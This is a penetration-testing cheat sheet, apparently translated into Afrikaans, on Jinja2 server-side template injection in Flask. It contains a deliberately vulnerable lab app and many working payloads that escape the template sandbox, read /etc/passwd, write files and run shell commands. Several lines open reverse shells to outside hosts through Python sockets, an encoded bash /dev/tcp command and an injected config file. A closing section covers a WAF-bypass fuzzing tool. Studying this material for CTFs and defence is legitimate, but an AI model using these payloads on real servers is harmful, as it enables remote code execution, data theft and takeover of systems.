Jinja2 SSTI

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Laboratorium

python
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"

if __name__ == "__main__":
app.run()

Verskeie

Foutopsporing Stelling

As die Foutopsporing Uitbreiding geaktiveer is, sal 'n debug etiket beskikbaar wees om die huidige konteks sowel as die beskikbare filters en toetse te dump. Dit is nuttig om te sien wat beskikbaar is om in die sjabloon te gebruik sonder om 'n foutopsporingstelsel op te stel.

python
<pre>

{% raw %}
{% debug %}
{% endraw %}








</pre>

Dump alle konfigurasie veranderlikes

python
{{ config }} #In these object you can find all the configured env variables


{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}

Jinja Injection

Eerstens, in 'n Jinja-inspuiting moet jy 'n manier vind om uit die sandbox te ontsnap en toegang te herstel tot die gewone python uitvoeringsvloei. Om dit te doen, moet jy objekte misbruik wat van die nie-sandboxed omgewing is, maar vanaf die sandbox toeganklik is.

Toegang tot Globale Objekte

Byvoorbeeld, in die kode render_template("hello.html", username=username, email=email) kom die objekte username en email van die nie-sandboxed python omgewing en sal toeganklik wees binne die sandboxed omgewing.
Boonop is daar ander objekte wat altyd toeganklik sal wees vanaf die sandboxed omgewing, hierdie is:

[]
''
()
dict
config
request

Herwinning <class 'object'>

Dan, van hierdie objekten moet ons by die klas kom: <class 'object'> om te probeer om herwin gedefinieerde klas. Dit is omdat ons van hierdie objek kan die __subclasses__ metode aanroep en toegang kry tot al die klasse van die nie-sandboxed python omgewing.

Om toegang te kry tot daardie objek klas, moet jy toegang kry tot 'n klas objek en dan toegang kry tot of __base__, __mro__()[-1] of .mro()[-1]. En dan, na die bereik van hierdie objek klas roep ons __subclasses__() aan.

Kyk na hierdie voorbeelde:

python
# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class

# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]

# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}

{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}

# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}






# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}

RCE Ontsnapping

Nadat ons herstel het <class 'object'> en __subclasses__ aangeroep het, kan ons nou daardie klasse gebruik om lêers te lees en te skryf en kode uit te voer.

Die oproep na __subclasses__ het ons die geleentheid gegee om honderde nuwe funksies te verkry, ons sal gelukkig wees net deur toegang te verkry tot die lêer klas om lêers te lees/schryf of enige klas met toegang tot 'n klas wat opdragte toelaat om uitgevoer te word (soos os).

Lees/Skryf afstandslêer

python
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

RCE

python
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

# Without '{{' and '}}'

<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>

# Calling os.popen without guessing the index of the class
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}


## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}

Om meer te leer oor meer klasse wat jy kan gebruik om te ontsnap, kan jy kyk:

Bypass Python sandboxes

Filter omseilings

Algemene omseilings

Hierdie omseilings sal ons toelaat om die kenmerke van die objekte sonder om sekere karakters te gebruik.
Ons het reeds van hierdie omseilings in die voorbeelde van die vorige gesien, maar laat ons dit hier opsom:

bash
# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick

## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params

## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

# Using with

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}

Vermy HTML-kodering

Standaard HTML kodifiseer Flask alles binne 'n sjabloon vir sekuriteitsredes:

python
{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;

Die safe filter laat ons toe om JavaScript en HTML in die bladsy in te voeg sonder dat dit HTML gekodeer word, soos hierdie:

python
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>

RCE deur 'n bose konfigurasie lêer te skryf.

python
# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}

# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

Sonder verskeie karakters

Sonder {{ . [ ] }} _

python
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}

Jinja-inspuiting sonder <class 'object'>

Van die globale objekte is daar 'n ander manier om RCE te verkry sonder om daardie klas te gebruik.
As jy daarin slaag om by enige funksie van daardie globale objekte te kom, sal jy toegang hê tot __globals__.__builtins__ en van daar af is die RCE baie eenvoudig.

Jy kan funksies van die objekke request, config en enige ander interessante globale objek waartoe jy toegang het, vind met:

bash
{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed

{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__

# You can iterate through children objects to find more

Sodra jy 'n paar funksies gevind het, kan jy die ingeboude funksies herstel met:

python
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}

# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}

{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}


## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}

# All the bypasses seen in the previous sections are also valid

Fuzzing WAF omseiling

Fenjing https://github.com/Marven11/Fenjing is 'n hulpmiddel wat gespesialiseer is in CTFs, maar kan ook nuttig wees om ongeldige parameters in 'n werklike scenario te bruteforce. Die hulpmiddel spuit net woorde en navrae om filters te detecteer, op soek na omseilings, en bied ook 'n interaktiewe konsole.

webui:
As the name suggests, web UI
Default port 11451

scan: scan the entire website
Extract all forms from the website based on the form element and attack them
After the scan is successful, a simulated terminal will be provided or the given command will be executed.
Example:python -m fenjing scan --url 'http://xxx/'

crack: Attack a specific form
You need to specify the form's url, action (GET or POST) and all fields (such as 'name')
After a successful attack, a simulated terminal will also be provided or a given command will be executed.
Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name

crack-path: attack a specific path
Attack http://xxx.xxx/hello/<payload>the vulnerabilities that exist in a certain path (such as
The parameters are roughly the same as crack, but you only need to provide the corresponding path
Example:python -m fenjing crack-path --url 'http://xxx/hello/'

crack-request: Read a request file for attack
Read the request in the file, PAYLOADreplace it with the actual payload and submit it
The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off.

Verwysings

tip

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